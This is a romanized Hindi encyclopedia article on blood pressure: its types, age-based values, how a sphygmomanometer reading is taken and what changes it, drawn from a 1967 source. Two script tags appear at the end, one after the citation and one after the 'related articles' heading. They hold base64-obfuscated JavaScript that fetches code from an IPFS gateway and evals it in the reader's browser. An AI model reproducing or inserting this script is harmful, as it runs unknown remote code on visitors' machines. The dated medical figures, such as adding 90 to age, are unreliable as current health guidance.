रक्तचाप
(aangrezi:Blood Pressure) raktachap rakt ka vah dabav hai jo raktavahiniyoan ki divaroan par p data hai. uchch raktachap, jise atirudhiratanav kahate haian, dhamanigat rog hai. hriday, jisaka any aangoan se dhamaniyoan dvara sanbandh hota hai, spandan dvara rakt ka parisancharan kar, sharirik aangoan ka poshan karata haian. dhamaniyaan apane lachilepan dvara rudhir ko age badhati haian, parantu chianta, krodh, atiparishram tatha any manasik parivartanoan ke karan yah lachilapan kam ho jata hai, jisase rakt pravah mean badha utpann ho jati hai. isake phalasvaroop dhamaniyoan ki divar par rakt ka dabav badh jata hai. isi ko 'uchch raktachap' kahate haian. is avastha mean sir ghoomana, palakoan ka bharipan, chehare par lali, manasik vikriti, aruchi, thakavat, kshudhanash ityadi lakshan prakat hote haian. isi samay raktachap ka mapan karana chahie.
prakar
raktachap nimnalikhit do prakar ka hota haian :
- prakuanchan raktachap adhikatam raktachap hota hai, jo hriday ke akuanchan kal ke samay utpann hota hai.
- anushithilan raktachap nyoonatam raktachap hai, jo hriday ke prasar kal mean utpann hota hai.
prakuanchan raktachap
prakuanchan raktachap ayu ke anusar nimnalikhit hota hai:
- balyavastha 75 se 90 milimitar
- kishoravastha 90 se 110 milimitar
- yuvavastha 100 se 120 milimitar
- praudhavastha 120 se 130 milimitar
- vriddhavastha 140 se 150 milimitar
- ayu ke anusar raktachap
ayu ke anusar prakuanchan raktachap nikalane ke lie samanyat: ayu mean 90 jo d dete haian. 160 se adhik raktachap vikriti ka soochak hai. yuva vyaktiyoan mean ausat anushithilan raktachap 80 milimitar hota hai aur 40 varsh se adhik ayu vale vyaktiyoan mean lagabhag 90 milimitar hota hai. bhavavesh ke karan hriday ki gati tivr hone se raktachap badhata hai. sab vyaktiyoan ka raktachap ek sa nahian hota. ek hi vyakti ka raktachap bhi samay samay par badalata hai. striyoan ka raktachap purushoan se kuchh kam hota hai. bhari sharir vale vyakti ka raktachap halake bhar vale vyakti se kuchh kam rahata hai. kasarat karate samay raktachap kuchh badh jata hai.
kuchh vyaktiyoan ka raktachap samany raktachap se kam rahata hai. isaka kisi rog se sanbandh nahian hai. aise vyakti uchch raktachap vale vyaktiyoan se adhik dirghajivi pae ge haian, kyoanki inamean us ati rudhir tanav ki sanbhavana nahian rahati, jisase uchch raktachap vale vyaktiyoan ki bahudha mrityu hoti hai.
raktachap mapan yantr
1896 ee. mean prasiddh vaijnanik d aau. rigarosi ne rudhiradabamapi yantr ka avishkar kiya tha. is yantr mean ek panp hota hai, jisase rabar ki ek nalika lagi rahati hai. yah nalika age chalakar do bhagoan mean vibhakt ho jati hai, jisase ek bhag ka sanbandh paradayantr se rahata hai. bahubandhak samaroop se bahu par kas kar baandh diya jata hai aur panp se hava bhari jati hai. usi samay kohuni ke samane ke bhag mean stethaskop rakhakar pratyek spandan ke samay ki dhvani suni jati hai. jab bahubandhak mean vayu ka dabav dhamanigat raktachap se adhik ho jata hai, tab dhamani dab jati hai aur dhvani sunaee nahian deti, isake phalasvaroop paradayantr mean bhi kanpan nahian dikhata. ab panp ke peanch ko dhila karake bahubandhak se vayu dhire dhire nikali jati hai. is samay jaise hi stethaskop se dhvani sunaee de paradayantr par lage paimane par pare ka pathyaank dekha jata hai. yahi pathyaank prakuanchan raktachap hota hai. adhik vayu nikalane se dhvani tivratar hoti jati hai, phir aspasht ho jati hai tatha aant mean band ho jati hai. dhvani ke ekadam band hone ke poorv aspasht dhvani ke samay paradayantr ke pathyaank ko dekh liya jata hai. yahi pathyaank anushithilan raktachap hota hai.
raktachap mean parivartan
malabandh, bhavavesh, sharirik aur manasik parishram ki adhikata, raktavahiniyoan mean rakt ki kami, hriday ki shakti tatha rakt vahaniyoan ke paridhiy pratirodh mean kami, rakt ki saandrata, raktavahiniyoan ki pratyasthata, raktavahiniyoan ka ayatan, shvas sanbandhi parinam tatha shit evan ushnata ki kami beshian se raktachap mean parivartan hota hai.
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tika tippani aur sandarbh
chaube, priyakumar “khand 10”, hindi vishvakosh, 1967 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, prishth san 20.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>